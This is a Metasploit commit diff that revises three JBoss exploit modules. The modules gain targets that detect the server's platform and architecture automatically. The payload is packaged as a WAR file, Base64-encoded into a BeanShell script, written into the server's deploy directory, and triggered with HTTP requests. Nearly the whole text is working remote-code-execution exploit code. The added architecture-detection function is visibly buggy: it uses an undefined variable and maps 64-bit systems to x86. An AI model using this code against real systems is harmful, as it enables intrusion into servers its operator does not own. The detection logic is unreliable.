Merge branch 'jboss-revision' of https://github.com/h0ng10/metasploit-framework into h0ng10-jboss-revision

unstable
jvazquez-r7 2012-07-12 09:25:37 +02:00
commit 65d15df9f9
3 changed files with 162 additions and 107 deletions

View File

@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote
[
'Patrick Hof',
'jduck',
'Konrads Smelkovs'
'Konrads Smelkovs',
'h0ng10'
],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
@ -41,19 +42,45 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
],
'Privileged' => true,
'Platform' => [ 'windows', 'linux' ],
'Platform' => ['java', 'windows', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
'Targets' =>
[
[ 'Universal',
#
# do target detection but java meter by default
# detect via /manager/serverinfo
#
[ 'Automatic (Java based)',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true
},
}
'Platform' => 'java'
} ],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
#
# Java version
#
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
}
]
],
'DisclosureDate' => "Apr 26 2010",
'DefaultTarget' => 0))
@ -63,7 +90,6 @@ class Metasploit3 < Msf::Exploit::Remote
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('SHELL', [ false, 'The system shell to use', 'auto' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
@ -77,8 +103,8 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
verb = datastore['VERB']
if (verb != 'GET' and verb != 'POST')
@ -86,33 +112,37 @@ class Metasploit3 < Msf::Exploit::Remote
end
p = payload
if datastore['SHELL'] == 'auto'
if verb != 'HEAD'
if not (plat = detect_platform())
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
mytarget = target
case plat
when 'linux'
datastore['SHELL'] = '/bin/sh'
when 'win'
datastore['SHELL'] = 'cmd.exe'
end
print_status("SHELL set to #{datastore['SHELL']}")
else
fail_with(Exploit::Failure::NoTarget, 'Platform detection with HEAD is not supported, please set SHELL manually')
if (target.name =~ /Automatic/)
mytarget = auto_target()
if (not mytarget)
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
end
# Payload generation already happened, therefore SHELL will
# already be 'automatic' in the payload regardless of what we set above.
# To fix this, we regenerate the payload now..
return if ((p = exploit_regenerate_payload(platform, target_arch)) == nil)
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
arch = mytarget.arch
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
# We must regenerate the payload in case our auto-magic changed something.
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
# Generate the WAR containing the payload
war_data = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
# The following Beanshell script will write the exploded WAR file to the deploy/
# directory
encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
@ -121,10 +151,9 @@ String val = "#{encoded_payload}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
FileOutputStream fstream = new FileOutputStream(jsp_file);
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
FileOutputStream fstream = new FileOutputStream(war_file);
fstream.write(byteval);
fstream.close();
EOT
@ -181,7 +210,7 @@ EOT
num_attempts.times { |attempt|
res = send_request_cgi({
'uri' => uri,
'method' => verb
'method' => 'GET'#verb
}, 20)
msg = nil
@ -212,7 +241,6 @@ EOT
# will get redeployed after a server restart.
bsh_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
@ -228,10 +256,26 @@ EOT
handler
end
# Try to autodetect the target platform
def detect_platform()
print_status("Attempting to automatically detect the platform...")
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
@ -243,6 +287,11 @@ EOT
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
@ -257,6 +306,20 @@ EOT
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (os =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
def invoke_bshscript(bsh_script, pkg, verb)
params = 'action=invokeOpByName'

View File

@ -64,11 +64,12 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
p = payload
if datastore['SHELL'] == 'automatic'
@original_shell_value = datastore['SHELL']
if not (plat = detect_platform())
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
@ -227,4 +228,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
nil
end
def cleanup
datastore['SHELL'] = @original_shell_value unless @original_shell_value.nil?
end
end

View File

@ -18,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -44,14 +43,20 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DisclosureDate' => 'Feb 20 2007',
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Platform' => [ 'java', 'win', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# do target detection but java meter by default
# detect via /manager/serverinfo
#
[ 'Automatic', { } ],
[ 'Automatic (Java based)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
#
# Platform specific targets only
@ -74,11 +79,8 @@ class Metasploit3 < Msf::Exploit::Remote
#
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true
}
}
]
],
@ -89,35 +91,34 @@ class Metasploit3 < Msf::Exploit::Remote
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('SHELL', [ false, 'The system shell to use', 'automatic' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]),
OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
], self.class)
end
def auto_target
print_status("Attempting to automatically select a target...")
if not (plat = detect_platform())
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
# TODO: detection requires HTML parsing
arch = ARCH_X86
if not (arch = detect_architecture(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t|
if (t['Platform'] == plat) and (t['Arch'] == arch)
return t
end
}
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
# no matching target found
return nil
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
@ -125,8 +126,8 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
verb = 'GET'
if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
@ -145,49 +146,19 @@ class Metasploit3 < Msf::Exploit::Remote
end
arch = mytarget.arch
# Find out which shell if we're using a Java target
if (mytarget.name =~ /Java/)
if not (plat = detect_platform())
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
case plat
when 'linux'
datastore['SHELL'] = '/bin/sh'
when 'win'
datastore['SHELL'] = 'cmd.exe'
end
print_status("SHELL set to #{datastore['SHELL']}")
else
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
end
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
# We must regenerate the payload in case our auto-magic changed something.
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
# Generate the WAR containing the payload
if (mytarget.name =~ /Java/)
@war_data = Msf::Util::EXE.to_war(p.encoded,
{
:app_name => app_base,
:jsp_name => jsp_name
})
else
exe = generate_payload_exe(
{
:code => p.encoded,
:arch => arch,
:platform => plat
})
@war_data = Msf::Util::EXE.to_jsp_war(exe,
{
:app_name => app_base,
:jsp_name => jsp_name
})
end
@war_data = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
})
#
# UPLOAD
@ -272,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
num_attempts.times { |attempt|
res = send_request_cgi({
'uri' => uri,
'method' => verb
'method' => 'GET'
}, 20)
msg = nil
@ -338,10 +309,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Try to autodetect the target platform
def detect_platform()
print_status("Attempting to automatically detect the platform...")
def query_serverinfo
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
@ -353,6 +321,11 @@ class Metasploit3 < Msf::Exploit::Remote
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
@ -366,4 +339,18 @@ class Metasploit3 < Msf::Exploit::Remote
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (os =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
end